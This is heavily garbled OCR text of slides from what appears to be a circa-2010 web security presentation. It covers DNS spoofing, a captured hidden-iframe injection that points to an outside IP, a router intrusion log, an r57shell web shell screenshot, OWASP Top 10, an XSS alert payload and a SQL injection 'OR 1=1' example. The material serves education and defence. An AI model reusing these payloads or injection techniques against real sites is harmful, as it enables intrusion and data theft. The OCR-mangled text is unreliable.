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Advice to Security Pros: Learn Chinese

Career Insights from Stephen Northcutt, CEO of SANS
Upasana Gupta, Contributing Editor

September 14, 2010

Stephen Northcutt, CEO of SANS
Technology Institute, has a piece of advice
for up and coming security professionals.
"Learn Chinese; you are going to need it."

Further, Northcutt advises, "Learn and live
by the security axiom: protection is ideal,
but detection is a must."

Source: bankinfosecurity, 2010
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Notoriety:
Viruses and Malware

Vandalism:
Basic Intrusions and Viruses

Threat Severity
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lama lama
12345 555
archill Sergey
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peterspb  Peter Ost

RSB 2L

¥ 500 7, 15 A D] Bk 24350,
1 SBP/AP

-

BRE

-
i~

g

EE B

-

edit

Payment
type

sale

raw
unique
unique
unique
unique
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raw

unique

raw

unique
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FH-’.%.B%’J#E B

Sellers ¢ Buyers

Personal r'atcs Money Mor!cy ’:::deey
CC(raw$,unique$) made paid today
51688.844 51123.216 2.96
80% 1210.8 580 2.4
US(0.0024/0.0038) 37640.802 37315 0.44
RU(0$/0.00003%) 150.102 140,946 0.02
0 0 0
0 0 0
0 0 0
0.01 0 0
RU(0.01$/0.03%)
US(0.01$/0.05%) 0.06 0 0
EU(0.01$/0.04%)
*(05/0.01%) 12674.06 12662.77 0.1
1.5 1.5 0
BY(0.01%$/0.04%)
EN(0.01$/0.043)
FR(0.01$/0.05%)
GB(0.014/0.05%) 0.05 0 0
US(0.01$/0.043)
AU(0.01$/0.05%)
11.36 13 0

¥ 20@4’@:? & A %E;Eﬁlfjﬁ}—’fé#r“%fr
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www.mm.com.tw
Money to ™
pay Status Act
565.628
230.8 ' pay O
325.802 L pay O
9.156 pay U
0 pay ()
0 pay [J
0 pay OJ
0.01 pay UJ
0.06 pay J
11.29 pay [J
0 pay B
0.05 pay [J
-1.64 pay [J
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DNS Cache = & I ——

Local DNS
= A query:

1) Attacker sends a request
for dummyZl.sun.com

Attacker

dummyl.sun.com

2) Check cache for:
dummyl.sun.com = No

Do we have name server entry
for sun.com? = Yes

3) Lets ask nsl.sun.com

4) If the spoofed replies have
right TXID, update cache
with:

« dummyl.sun.com =
java.sun.com

 java.sun.com=7.7.7.7

__
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None-blind IP spoofing
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redired il redirected_ioage_com_cn filtered.peap - Wireshark (SN
Fie Edit || File Edit Y| File Edit|| File Edit || File Edi| fle Edit View Go Capture Analze Statistics Help

CI SC I O N - T BEEA¥LE Ae»pTF LIBEE QD dH@® -

Filter: Filter: Filter: Filter: Filter: Eilter: v Expression.. Clear Apply
Mo.. Ti Mo.. Ti Ne.. Ti Me.. Ti Neo.. T MNa.. Time Source Destination Protocol Info i<
15 0. 15 0. 15 0. 15 0.4 1 0.000000 192.168.1.129 219.232.241.5 TCP 65052 > http [5YN] Seq=0 Wi |E|
0. 16 0. 16 0. 16 0. 2 0. 318018 219.232.241.5 192.168.1.129 TCP http = 65052 [SYN, ACK] Seq
0. 17 0. 17 0. 17 0. 3 0.318128 192.168.1.129 219.232.241.5 TCP 65052 > http [ACK] Seq=1l Ac
0. 18 0. 18 0. 4 0.324882 192.168.1.129 219.232.241.5 HTTP GET /cn HTTP/1.1
0. 19 0. 5 0.559792 . . . . L1 L TCF segment of a reassembl
0. 20 0. 6 0.652174 219.232.241.5 192.168.1.129 HTTP [TCP Retransmission] HTTP/1
0. 21 0. 7 0.652262 192.168.1.129 219.232.241.5 TCP 65052 > http [ACK] Seq=5382
0. 0. B 0.652833 219.232.241.5 192.168.1.129 TCP http > 65052 [FIN, ACK] Seq
0. 0. 9 0.652894 192.168.1.129 219.232.241.5 TCP 65052 = http [ACK] Seq=582
0. 0.4 10 0.666911  102.168.1.129  219.232.241,5 TP 65052 > hrep [FIN, ACK] Seq -
0. 0.4, = | -
0. 0.
Total Length: 205 o~
[Identification: Oxcchb (52411)]
® Frame | & Frame ' @ Flags: 0x04 (Don't Fragment)
& Etherrf| ® Etherns 3 Fragment offset: 0
= EREENNE Time to live: 113
versi 3 Protocol: TCP (0x08)

# Header checksum: Oxads7 [correct]
Ssource: 219.232.241.5 (219.232.241.5)
pestination: 192.168.1.129 (192.168.1.129)
= Transmission Control Protocol, Src Port: http (80), Dst Port: 65052 (65052), Seq: 1, A
Source port: http (80)
Destination port: 65052 (65052)

m

Sequence number: 1 (relative sequence number)
[Next sequence number: 166 (relative sequence number)]
Heads Acknowledgement number: 582 (relative ack number)
SUUFf Header length: 20 bytes
Desti m[Flags: 0x10 (ACK)]
= Transmi window size: 131070 (scaled) M
sourd # Checksum: 0Ox6ad4 [correct]
Desti = [sEq/ack analysis] i
sequs < T | 3
Ackn LY v vy - w T T T W Wad vl T T M W W T W T LY g o
Heads 0060 6e 33 43 6c 6F 73 65 0d 0a 43 6f 6e 74 65 6e 74 n:Close. .Content -
- lE¥and : 0070 2d 54 79 70 65 2a 20 74 65 78 74 2f 68 74 6d 6¢c | -Type: t ext/html
14| 14| 1| 8838 ?2 4| 0080 Od 0a Od 0a 3c 69 66 72 61 6d 65 20 73 72 62 3d |....<ifr ame src=
0090 68 74 74 70 3a 2f 2f 36 31 2Ze 32 31 38 2e 32 34 |htup://6 1.218.24 LR
0000 0010000 00 310000 0Q00a0 65)|0000 Qlanag 35 2e 31 39 30 2F 5F 76 74 69 5F 61 63 63 65 73 | 5.190/_v ti_acces N
0010 0010010 00 110010 03 j00b0 2210010 Qlgohg 73 2f 69 6e 64 65 78 2e 68 74 6d 2f 20 77 69 64 |s/index. htm/ wid =
|0020 30|0020 01 |0020 8diooco ??|0020 Olooco 74 68 3d 30 20 68 65 69 67 68 74 3d 30 3e 3c 2f |th=0 hei ght=0></
0030 2010030 16 ¢)0030 41j00d0 Od||0030 GQligodo 69 66 72 61 6d 65 3e 0d 0Oa Od Oa iframe=.
0040 04/|0040 03 (|0040 64)|00e0 &c

ANEN 2

| Invalid filter| | Invalid filter | | Invalid filtef | Invalid filter | | Invalid fill | File: "C:\Users\wayne. ARMORIZE\Desktop\i.. | Packets: 49 Displayed: 49 Marked: 0 | Profile: Default
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3/28/2009 E£:38:38 test Default Group show configuration <cr>

3/28/2009 £:38:59 test Default Group show interfaces <cr>

3/28/2009 8:39:48 test Default Group configure terminal <cr>

3/28/2009 £:39:50 test Default Group interface Tunmel 128 <cr> 21l TUNnel
8:39:57 test Default Group show interfaces <cr>

3/28/2009 8:
3/28/2009 8:41:48 test Default Group configure terminal <cr> FFETunnel

3/28/2009 8:41:49 test Default Group access-list 20 permit 192.168.2.2 <cr> bﬂ)\A(:L
3/28/2009 £:41:50 test Default Group ip nat pool new [removed] netmask 255.255.255.252 <cr>

3/28/2009 £:41:51 test Default Group ip nat inside source list 20 pool new overload <cr>

3/28/2009 £:41:52 test Default Group ip nat inside source static tcp 192.168.2.2 113 [removed] 113 extendable
3/28/2009 8:41:52 test Default Group interface Serial 1/0 <cr> 2 EHHINAT
3/28/2009 £:41:53 test Default Group ip nat cutside <cr>

3/28/2009 £:41:53 test Default Group interface Tunnel 128 <cr>

3/28/2009 8:41:53 test Default Group ip nat inside <cr>

3/28/2009 8:41:54 test Default Greoup ip address 192.168.2.1 255.255.255.0 <cr>

3/28/2009 £:41:54 test Default Group ip tcp adjust-mss 1400 <cr>

3/28/2009 £8:41:55 test Default Group tunnel scurce Serial 1/0 <cr>

3/28/2009 £:41:55 test Default Group tunnel destinaticn [removed] <cr>

Whoa! The bad guy is not wasting any time. Barely five minutes after connecting, and he has configured a network

_tunnel back to his home base.
3/28/2009 8:47:23 test Default Group configure terminal <cr>
3/28/2009 £:47:26 test Default Group line conscle 0 <cr>
3/28/2009 8:47:32 test Default Group password *****
3/28/2009 8:47:45 test Default Group who <cr> Bt Router 2%
3/28/2009 B8:47:55 test Default Group configure terminal <cr>
3/28/2009 £:48:01 test Default Group line wty 0 1052 <cr>
3/28/2009 £:48:08 test Default Group password *****
3/28/2009 £:49:12 test Default Group no transport input <cr>
3/28/2009 8:49:26 test Default Group transport input ssh <cr>
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PaaS — Web Hosting

'_L_\_ 5 Ry~ —— . e T ool
[ Badg f m 1 Microsoft | Grow Smart.. x|
= | C AN % http//webcache.googleusercontentcom/searchiq=cachexBysOxarGNMIgrowsmartbusinesscon. | 8] O~ -
{- -) | B ipad 3p BTOES -Mup A [ 17934376)pg (152 [ youtube download [ youtube downloadz2 |

- L . o “
n ||-J-3r-| F 310 BepoMA cTpanuuel httpeffgrowsmartbusiness. comiag/microsoft! we kawa Google. Ova npegcTaenAet coboldl CHAMOK CTRAHMLEN N0 COCTOAHKK Ha 3 uioH 2010
20:48:18 GMT. Tekylwiaa cTpaHMUE 22 NPOLUEALLEE EQEMA MOMNA MaMeHMTECA. [oapofHes

Arrange

" 3TH CNOEE NPUCYTCTEYHIT TONBKD B CCEINKAX HA 3Ty cTpanuuy: hitp growsmartbusiness com widgets widget php TekcToEaA BEEPCUA
2 Lo rearran

m

03-06-2010 20:48:18 vour IP; [66.249.65.57] Server IP; [206.1582.192 22]
PHF version: 5.2.6 clURL: ON MySQL: OM MSSOL: OFF PostgreSQL: OFF Oracle: OFF
T BCO| Safe_mode; OFF Opern_basedirs NOMNE Safe_mode_exec_dir: fusrflocal/php/bin Safe_mode_include_dir: MOMNE
Disable functions : shell_exec,passthru,exec,system,pontl_exec
m r57shell 1.40 Free space : 52.91 GB Total space: 949.13 GB
Useful: Id,php,perl,python tar,
[ phpinfo ] [ php.ini] [cpu] [ mem ] [ syslog] [ resoly ] [ hosts ] [ shadow ] [ passwd ] [ tmp ] [ delete ]
[ procinfo ] [ version ] [free ] [ dmesg ] [ wvmstat ] [ Ispci ] [ Isdev ] [ interrupts ] [ realisel ] [ realise2 ] [ Isattr ]
[w] [who] [uptime ] [last] [ ps aux ] [ service ] [ ifconfig ] [ netstat ] [ fstab ] [ fdisk ] [ df -h ]
IADD <6 9 Linux vux32 2.6.33.2-NETSOL #1 SMP Thu May 6 18:47:03 EDT 2010 i686 GNU/Linux
sysctl :

* 0 linux-gnu
$OSTYPE : Apachef2.2.8 (Uniz) FrontPagef5.0.2.2635

; Server: i 1180139(1765725.1908768) gid=1479894(1765725.1908768)

v‘:g: groups=1479894(1765725.1908768),1479895(1479895)
p " fdataf8f1/113/73/1765725fuserf 1908768 /htdocs { drwxr-xr-x )
Executed comrmmand: Is -lia
total 696 &
19985593 drwxr-xr-x 12 1765725.1908765 1479595 4096 May 21 17:14 L
The ah 155892748 drwxr-xr-x 5§ root root 40926 Dec 10 09:29 .. 3
challe 199855896 -ruwxr-xr-x 1 1765725.19087658 1479895 224 Sep 28 2009 .htaccess
| and md == 24991454 —ryxr-x-——- 1 1765725.1908765 14798595 3539 Apr 3 Z009 PdfReportClass.php
( majar i }E 24991455 -ruxr-xr-x 1 1765725.1908765 1479595 147585 Febh 11 2009 animated-messages-swmallz . gif
[ busine 24991456 -rwxr-xr-x 1 1765725.1908768 1479895 439 Feb 11 2009 hottom.gif
| 8099135 —rwxr-x--- 1 1765725.10037658 1479895 093445 Feb 25 00:27 deleted xmlrpc.php
24991457 -rwxr-x--- 1 1765725.1905765 1479895 6105 Apr 27 2009 email report.php
| 248991455 -rwxr-xr-x 1 1765725.1908765 1479395 1657 Feb 24 13:47 feedback.php removed
24991459 —rwxr-x-—-—-— 1 1765725.1908763 1479395 1545 Jul 3 2009 get docwment  library.php
( 24991480 -rwxr-x-——— 1 1765725.1908765 14798595 3452 Jul 3 2009 get_documents. php
b 24991461 -rwxr-xr-x 1 1765725.1908768 1479895 1732 Jul 7 2009 get news.php
) 24991462 -rwxr-xr-x 1 1765725.1908768 1479895 0 Feb 22 2009 google459005501151k3d2 . html 7
. 932846 drwxr-xr-x 7 1765725.1908768 1479895 4096 May 7 12:45 gsh_wp p
| Met a : Execute command on server ::
| Run command »
| .
- Work directory » |/datafe/1/113/73/1765725/user/1908768/htdocs Execute
| :: Edit files ::
< | 1 File for edit » /data/s/1/113/73/1765725/user/1908768/htdocs Edit file
L
:: ModifyfAccess date(touch) ::
:: ChownyfChgrpfChmaod :: 2
4 m 3
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OWASP TOP 10 I

(B WebErB& %= £ 518 — Open Web Application Security Project) 2010 TOP 10:

OWASP Top 10 - 2007 (Previous)

OWASP Top 10 — 2010 (New)

A2 — Injection Flaws

1‘ Al — Injection

Al - Cross Site Scripting (XSS)

‘1, A2 — Cross Site Scripting (XSS)

A7 — Broken Authentication and Session
Management

A3 — Broken Authentication and Session
Management

A4 — Insecure Direct Object Reference

— A4 — Insecure Direct Object References

A5 — Cross Site Request Forgery (CSRF)

— A5 — Cross Site Request Forgery (CSRF)

<was T10 2004 A10 - Insecure Configuration
Management>

+ A6 — Security Misconfiguration (NEW)

A10 - Failure to Restrict URL Access

1‘ A7 — Failure to Restrict URL Access

<notin T10 2007>

+ A8 — Unvalidated Redirects and Forwards
(NEW)

A8 — Insecure Cryptographic Storage

\1, A9 — Insecure Cryptographic Storage

A9 — Insecure Communications

\1, A10 - Insufficient Transport Layer Protection

A3 — Malicious File Execution

- <dropped from T10 2010>

A6 — Information Leakage and Improper Error
Handling

~ <dropped from T10 2010>

m
% x,
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» Cross Site Script i #- XSS

o Cross Site: 4=k
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File Edit View History Bookmarks Tools Help

e e

<E] v b4 @ @ /IJ} Lu http:,f,ftopicfvivisimo,l'cgi-bin,f—qu-met&=%3€script°./03Ealert°/028°/02?hi%2?°/029°103C,u’script°/o3E >
— E— —

LT,‘ DHMet.be - La Une 54 Slashdot E,' Le Soir en ligne: le fili... [ Metcraft 5. ha.ckers.org G

uryNews,com L:,‘ SecuriTeam Blogs E,‘ Web Application Secu...

Proxy: | None {5] V apply £t 9 remove [add [ Status: Using Mo Proxy |

sy The Page You Have Requested Is Mot ... | %55 (Cross Site Scripting) Cheat Sheet ; %, ¥ivisimo - Clustered search

Topissoearch

[ Search ][ Search within results ]

DETo/0DTS [ news [ TAC case Collection
[J Latitude [ 1P Contact Center [ Pecube [ Dynamicsoft

[J stratacom [] CARE Solutions
CT

Search Term
route§

Clustered Results

o <script>alert{’hi’)</script> (29)

@ » Errors, Lms 2.2 (3)
~-> Security (s)

-> URL, Xss (5

é » Setup (3)

o o, TR T RE Y SR

Q » Files (2)

@) Internet, Connection (2)
[E> Other Topics (2) o
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Evil.org

9) Evil.org uses stolen
session information to
impersonate user

1) Link to bank.com
sent to user via
E-mail or HTTP

4) Script sends user's
cookie and session
information without the user’s
consent or knowledge

User bank.com

2) User sends script embedded as data .

i
gv 3) Script/data returned, executed by browser

(7
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SQL-Injection f#
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WWWwW. .com.tw

String query = “SELECT cardnum FROM accounts
WHERE username = '” 4+ strUName +
W AND password = " + strCType + “,;7;

Expected input:

SELECT cardnum FROM accounts
WHERE username = ‘John’
AND password = 243s23;

Result: Returns John’s saved credit card number
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SQL-Injection f#

'.I:Illt
i’

WWWwW. .com.tw

String query = “SELECT cardnum FROM accounts
WHERE username = '” 4+ strUName +
W AND password = " + strCType + “,;7;

Malicious input:

SELECT cardnum FROM accounts
WHERE(username = ‘John’
AND password = 2)OR.G = 1y

Result: Returns all saved credit numbers.
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Interview With A Convicted Hacker: Robert
Moore Tells How He Broke Into Routers
And Stole VoIP Services

On his way to federal prison, the 23-year-old hacker says breaking into computers at telecom
companies and major corporations was "so easy a caveman could do it."

By Sharon Gaudin , InformationWeek

126,2007 08:36 H

Convicted hacker Robert Moore, who is set to go to federal prison this week,
says breaking into 15 telecommunications companies and hundreds of
businesses worldwide was incredibly easy because simple IT mistakes left
gaping technical holes.

Moore, 23. of Spokane, Wash., pleaded guilty to conspiracy to commit
computer fraud and is slated to begin his two-year sentence on Thursday for
his part in a scheme to steal voice over |IP services and sell them through a
separate company. While prosecutors call co-conspirator Edwin Pena the
mastermind of the operation, Moore acted as the hacker, admittedly
scanning and breaking into telecom companies and other corporations
around the world.

Related Articles “It's so easy. It's so easy a caveman can do it,” Moore told
informationWeek, laughing. "When you've got that many
» Accused VolP Fraudster Sought As computers at your fingertips, you'd be surprised how many are
Fugitive insecure.”

~VolP Securily Alert Hackers Start Pena, who is charged with acting as a legitimate wholesaler of
feiacking £ov Gasn Internet-based phone services as part of what the government
More Internet |nsights called a "sophisticated fraud,” fled the country a year ago and is
wanted as a fugitive. Assistant U.S. Attorney Erez Liebermann
White Papers said Pena allegedly stole and then sold more than 10 million
e Shared IT Infrastructure - New minutes of senvice at deeply discounted rates, netting more than
Storage Buying Criteria $1 million from the scheme.
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2003AD X |§ Win2003-%@315 X |gu SuSE-WebServer X | WinPPP X

Run legacy Windows XP applications with better
graphics, faster performance, and tighter integration
than Windows XP mode offers. With Unity, shared
folders and drag and drop convenience, VMware Player
is the better way to run Windows XP on Windows 7.

I lea \/Misrara wantar Manuartar tn trancfarm vanr

State: Powered off
Guest OS: Windows XP Professional
Location: C:\Users\Ringline\Documents\Virtual Machines\WinXP\Windows XP.vmx
Version: Workstation 6.5-7.x virtual machine
Commands J Devices | | Options
P Power on this virtual machine = Memory 1024 MB
ﬂil Edit virtual machine settings | & Processors 1
e=)Hard Disk (SCSI) 10 GB
) Enable ACE features (What is ACE?) (=) cp/ovD (IDE) Auto detect
i @Network Adapter Bridged
@ USB Controller Present
' @) Sound Card Auto detect
EDisplay Auto detect

Download Virtual Appliances

Player Resources

= Documentation
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Intasecurity peace of mind

Login to DS3 Global Demo Bookstore

[,
UserlD: ]

Password:

For a demo account, please email to info@ds3global.com
@© 2009 Data Security Systems Solutions. All Rights Reserved.
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“Security 3.0 means changing our approach to security. It is
by building security into our processes and applications, by
proactive means of finding vulnerabilities before they are
created and mitigating the vulnerabilities during the

development phase.”

John Prescatore, VP & Distinguished Analyst, Gartner

May 21, 2007, Security-As-A-Service Conference, San
Francisco
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Scanned Files 50 1 80 T
Scanned Lines 8510 - 80 “A\rg. Depth 1.31 5
Vulnerable Files 21 20
Vulnerable 66 z 60 . 44
Statement = £
o 50 ]
Resulting p 153 b 40 H
Vulnerabjs = -
= 30
]
20
10
0
o1 2 3 4 5
Depth
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> BAEE W functions php pting ( ) _gallery.php
* thanke comment.php Cross-Site Scripting (CVWE 79) #1 5.000 ] 10 add_comment.php
|@ yapi v ‘ W add oallery.php Cross-Site Scripting (CWE 79) #1 5.000 0 124 add_gallery.php
Al HEEEE
SEa admin func.php Cross-Site Scripting (CVWE 79 #2 5.000 ] 230 add_gallery.ph
S5=  PHP (ver. 4+ 5+) @ el : galEny-eip
* functions php Cross-Site Scripting (CVWE 73) #2 5.000 ] i . =
Y
; admin func.php Resource Injection (CWE 59 #3 4,000 ] 2
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[Severity Score 2.600]
Vilnerable Entny Foint. inneesmisssssesymo'act signup successiul php

%, (vulnerable file) Online 216 of database mysgl class.php the known sensitive function
database mysqgl class pho mysql_guery was invoked with the tainted parameter(s) $sql.
[query()]
216: 1f (Fthis-zresult_ld=mysgl_query{ fsgl, $this-=link_id)){
= Online 41 of act_sigmup_successful .php . function gquery( $sql) was invoked

with the tainted parameter(s) tainted variable(s) $g _str.

61: fdb-zguerv($g sto);

E AR
FRRBIR?

()= On line 40 of act_signup successful . php variable $g_str gets assigned a tainted value |

A0: $g_str="select sum{ 1{f{idnum="". 51dmaml. """, 1,000 as tmpl,swml 1f{ idoum="" . $1dnum? . '", 1,00 asz
tmp2 , sumf 1f( 1drmam=""". $1drmm3.'", 1,003 as tmp? ,sum{1f{stage=""' $stage.'", 1,003 as tmpd from

kids_act_signmp ';

JR46
EHEEA

#d= (tainted origin) Online 12 of act_sigrmp_successful . php variable $1dnum3 gets assigned a tainted

::> act_signupn suyccessful php value .

12: $idrmm?=% EEQUEST[ ' 1dmun3'];
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SecureBrowsing

How does it work? Statistics Support About

Finjan SecureBrowsing - Unified Web Security Solutions

Finjan SecureBrowsing provides you with safety ratings of URLs showing in your browser.

Utilizing innovative security technologies, proven in large enterprise environments,
it helps keep you safe from online scams as you search and browse the web.

Firefox Compatible

The page is safe for
browsing

Page not available for S
scanning

Use caution: s}
Potential spyware = =
behavior was detected %l

on this page -%
learn more » e i et b
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The page is safe for browsing
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A R VIS Virustotal is a service that analyzes suspicious

VI RU S Virustotal is a service that analyzes suspicious lection
files and URLSs and facilitates the quick detection alware
of viruses, worms, trojans, and all kinds of malware ion...
TOTAL detected by antivirus engines. More information. ..
nmunity
0 VT Community user(s) with a total of 0 reputation credit(s) say(s) this URL is benign. 0 VT VT Community
Community user(s) with a total of 0 reputation credit(s) say(s) this URL is malicious. )
Submission date: 2011-05-23 12:18:36 (UTC) Q viewed
Current status: finished . SCOore: -
Antivirus report: View downloaded file analysis not reviewed
Webscan result: 0116 (0.0%) Safety score: -
itresults @
£ Compact Printresults & o
URL analysis tool Resuit
Avira Clean site
BitDefender Clean site
Dr.Web Clean site
Firefox Clean site
G-Data Clean site
Google Safebrowsing Clean site
MalcOde Database Clean site
MalwareDomainList Clean site
[ ) V Opera Clean site
ParetoLogic Clean site
. 3: Phishtank Clean site
TrendMicro Clean site
. Websense ThreatSeeker Clean site

Wepawet Clean site
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Thank you!
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@] Hoyeh_tsai@kh.ringline.com.tw
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